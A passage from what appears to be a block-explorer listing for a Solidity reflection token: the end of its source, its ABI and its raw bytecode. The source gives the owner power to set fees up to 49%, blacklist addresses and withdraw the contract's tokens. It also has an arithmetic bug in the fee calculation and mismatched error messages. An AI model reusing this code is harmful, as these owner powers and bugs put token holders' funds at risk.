        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 marketingLiquidityFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tMarketingLiquidityFee = tAmount.mul(marketingLiquidityFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(marketingLiquidityFee);
        return (tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTaxFee() private view returns(uint256) {
        return _taxFee;
    }

    function _getMaxTxAmount() private view returns(uint256) {
        return _maxTxAmount;
    }

    function _setTaxFee(uint256 taxFee) external onlyOwner() {
        require(taxFee >= 1 && taxFee <= 49, 'taxFee should be in 1 - 49');
        _taxFee = taxFee;
    }

    function _setMarketingFee(uint256 marketingFee) external onlyOwner() {
        require(marketingFee >= 1 && marketingFee <= 49, 'marketingFee should be in 1 - 11');
        _marketingFee = marketingFee;
    }

    function _setLiquidityFee(uint256 liquidityFee) external onlyOwner() {
        require(liquidityFee >= 1 && liquidityFee <= 49, 'liquidityFee should be in 1 - 11');
        _liquidityFee = liquidityFee;
    }

    function _setNumTokensSellToAddToLiquidity(uint256 numTokensSellToAddToLiquidity) external onlyOwner() {
        require(numTokensSellToAddToLiquidity >= 10**9 , 'numTokensSellToAddToLiquidity should be greater than total 1e9');
        _numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity;
    }

    function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= 10**9 , 'maxTxAmount should be greater than total 1e9');
        _maxTxAmount = maxTxAmount;
    }

    function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() {
        _approve(address(this), owner(), tokenAmount);
        _transfer(address(this), owner(), tokenAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"_setLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"}],"name":"_setMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"_setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"numTokensSellToAddToLiquidity","type":"uint256"}],"name":"_setNumTokensSellToAddToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"_setTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addBotToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beginSwapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualFeeSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeBotFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600a60006101000a81548160ff0219169083151502179055506040518060400160405280600781526020017f455448204f4e4500000000000000000000000000000000000000000000000000815250600f90805190602001906200006c92919062000cb7565b506040518060400160405280600481526020017f654f4e450000000000000000000000000000000000000000000000000000000081525060109080519060200190620000ba92919062000cb7565b506009601160006101000a81548160ff021916908360ff1602179055506002601255600160135560016014556012546015556013546016556014546017556000601b60146101000a81548160ff02191690831515021790555069152d02c7e14af6800000601c55670de0b6b3a7640000601d553480156200013a57600080fd5b50604051620050f6380380620050f6833981810160405260408110156200016057600080fd5b81019080805190602001909291908051906020019092919050505060006200018d6200062860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069152d02c7e14af6800000600e81905550600e5460001981620002cc57fe5b0660001903600b81905550620002fd6103e869152d02c7e14af68000006200063060201b6200300f1790919060201c565b600c8190555069152d02c7e14af680000060046000620003226200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003706200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a36200043660026000620003ef6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620006bb60201b60201c565b600360006200044a6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760006200049e6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009620005016200062860201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620005776200075060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000d5d565b600033905090565b600080831415620006455760009050620006b5565b60008284029050828482816200065757fe5b0414620006b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620050d56021913960400191505060405180910390fd5b809150505b92915050565b6000600b548211156200071a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180620050ab602a913960400191505060405180910390fd5b60006200072c6200077960201b60201c565b9050620007488184620007b360201b620030951790919060201c565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200078e6200080560201b60201c565b91509150620007ac8183620007b360201b620030951790919060201c565b9250505090565b6000620007fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000ad660201b60201c565b905092915050565b6000806000600b549050600069152d02c7e14af6800000905060005b60098054905081101562000a80578260026000600984815481106200084257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806200092b5750816003600060098481548110620008c357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200094c57600b5469152d02c7e14af68000009450945050505062000ad2565b620009dd60026000600984815481106200096257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000ba160201b620030df1790919060201c565b925062000a706003600060098481548110620009f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000ba160201b620030df1790919060201c565b9150808060010191505062000821565b5062000aa769152d02c7e14af6800000600b54620007b360201b620030951790919060201c565b82101562000ac957600b5469152d02c7e14af680000093509350505062000ad2565b81819350935050505b9091565b6000808311829062000b86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000b4a57808201518184015260208101905062000b2d565b50505050905090810190601f16801562000b785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858162000b9357fe5b049050809150509392505050565b600062000beb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000bf360201b60201c565b905092915050565b600083831115829062000ca4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000c6857808201518184015260208101905062000c4b565b50505050905090810190601f16801562000c965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1062000cfa57805160ff191683800117855562000d2b565b8280016001018555821562000d2b579182015b8281111562000d2a57825182559160200191906001019062000d0d565b5b50905062000d3a919062000d3e565b5090565b5b8082111562000d5957600081600090555060010162000d3f565b5090565b61433e8062000d6d6000396000f3fe6080604052600436106102295760003560e01c806360a6f45a116101235780638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610c19578063af9549e014610c8a578063bcd6d44614610ce7578063cbc740aa14610d22578063dd62ed3e14610d6357610230565b80638da5cb5b14610a5b57806395d89b4114610a9c578063a457c2d714610b2c578063a52fe9bb14610b9d578063a55626cb14610bd857610230565b80637a997d7e116100f25780637a997d7e1461090e5780637ded4d6a14610975578063880ad0af146109c657806388a659bc146109dd57806388f82020146109f457610230565b806360a6f45a146107f057806370a0823114610841578063715018a6146108a657806377dd50e3146108bd57610230565b8063313ce567116101b15780634549b039116101755780634549b039146106755780634a74bb02146106d057806352390c02146106fd5780635342acb41461074e5780635880b873146107b557610230565b8063313ce5671461051d5780633685d4191461054b578063373f0a041461059c57806339509351146105b35780634303443d1461062457610230565b80631bbae6e0116101f85780631bbae6e01461038c5780631decaadc146103c757806323b872dd146104025780632d8381191461049357806330599fc5146104e257610230565b806306fdde0314610235578063095ea7b3146102c557806313114a9d1461033657806318160ddd1461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610de8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610ea8565b6040518082815260200191505060405180910390f35b34801561036d57600080fd5b50610376610eb2565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103c5600480360360208110156103af57600080fd5b8101908080359060200190929190505050610ec4565b005b3480156103d357600080fd5b50610400600480360360208110156103ea57600080fd5b8101908080359060200190929190505050610ff3565b005b34801561040e57600080fd5b5061047b6004803603606081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b60405180821515815260200191505060405180910390f35b34801561049f57600080fd5b506104cc600480360360208110156104b657600080fd5b81019080803590602001909291905050506111fb565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b5061051b6004803603602081101561050557600080fd5b810190808035906020019092919050505061127f565b005b34801561052957600080fd5b5061053261136e565b604051808260ff16815260200191505060405180910390f35b34801561055757600080fd5b5061059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611385565b005b3480156105a857600080fd5b506105b161170f565b005b3480156105bf57600080fd5b5061060c600480360360408110156105d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b60405180821515815260200191505060405180910390f35b34801561063057600080fd5b506106736004803603602081101561064757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e4565b005b34801561068157600080fd5b506106ba6004803603604081101561069857600080fd5b8101908080359060200190929190803515159060200190929190505050611aa0565b6040518082815260200191505060405180910390f35b3480156106dc57600080fd5b506106e5611b5f565b60405180821515815260200191505060405180910390f35b34801561070957600080fd5b5061074c6004803603602081101561072057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b76565b005b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f29565b60405180821515815260200191505060405180910390f35b3480156107c157600080fd5b506107ee600480360360208110156107d857600080fd5b8101908080359060200190929190505050611f7f565b005b3480156107fc57600080fd5b5061083f6004803603602081101561081357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120d5565b005b34801561084d57600080fd5b506108906004803603602081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121f8565b6040518082815260200191505060405180910390f35b3480156108b257600080fd5b506108bb612241565b005b3480156108c957600080fd5b5061090c600480360360208110156108e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612428565b005b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061254b565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b506109c46004803603602081101561099857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125a1565b005b3480156109d257600080fd5b506109db6126c4565b005b3480156109e957600080fd5b506109f26127ea565b005b348015610a0057600080fd5b50610a4360048036036020811015610a1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612959565b60405180821515815260200191505060405180910390f35b348015610a6757600080fd5b50610a706129af565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa857600080fd5b50610ab16129d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610af1578082015181840152602081019050610ad6565b50505050905090810190601f168015610b1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b3857600080fd5b50610b8560048036036040811015610b4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a7a565b60405180821515815260200191505060405180910390f35b348015610ba957600080fd5b50610bd660048036036020811015610bc057600080fd5b8101908080359060200190929190505050612b47565b005b348015610be457600080fd5b50610bed612c9d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c2557600080fd5b50610c7260048036036040811015610c3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612cc7565b60405180821515815260200191505060405180910390f35b348015610c9657600080fd5b50610ce560048036036040811015610cad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612ce5565b005b348015610cf357600080fd5b50610d2060048036036020811015610d0a57600080fd5b8101908080359060200190929190505050612e08565b005b348015610d2e57600080fd5b50610d37612f5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d6f57600080fd5b50610dd260048036036040811015610d8657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f88565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e97613129565b8484613131565b6001905092915050565b6000600d54905090565b600069152d02c7e14af6800000905090565b610ecc613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614179602c913960400191505060405180910390fd5b80601c8190555050565b610ffb613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180614284603e913960400191505060405180910390fd5b80601d8190555050565b600061112f848484613328565b6111f08461113b613129565b6111eb856040518060600160405280602881526020016141c660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111a1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b600190509392505050565b6000600b54821115611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614107602a913960400191505060405180910390fd5b6000611262613b4a565b9050611277818461309590919063ffffffff16565b915050919050565b611287613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611359306113536129af565b83613131565b61136b306113656129af565b83613328565b50565b6000601160009054906101000a900460ff16905090565b61138d613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561170b578173ffffffffffffffffffffffffffffffffffffffff166009828154811061154057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116fe5760096001600980549050038154811061159c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106115d457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806116c457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561170b565b808060010191505061150f565b5050565b611717613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611813576000600a60006101000a81548160ff02191690831515021790555061182f565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006118da61183e613129565b846118d5856005600061184f613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b613131565b6001905092915050565b6118ec613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142176024913960400191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115611b22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611b42576000611b3284613bfd565b5050505050905080915050611b59565b6000611b4d84613bfd565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b611b7e613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806142c26022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e6b57611e27600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffff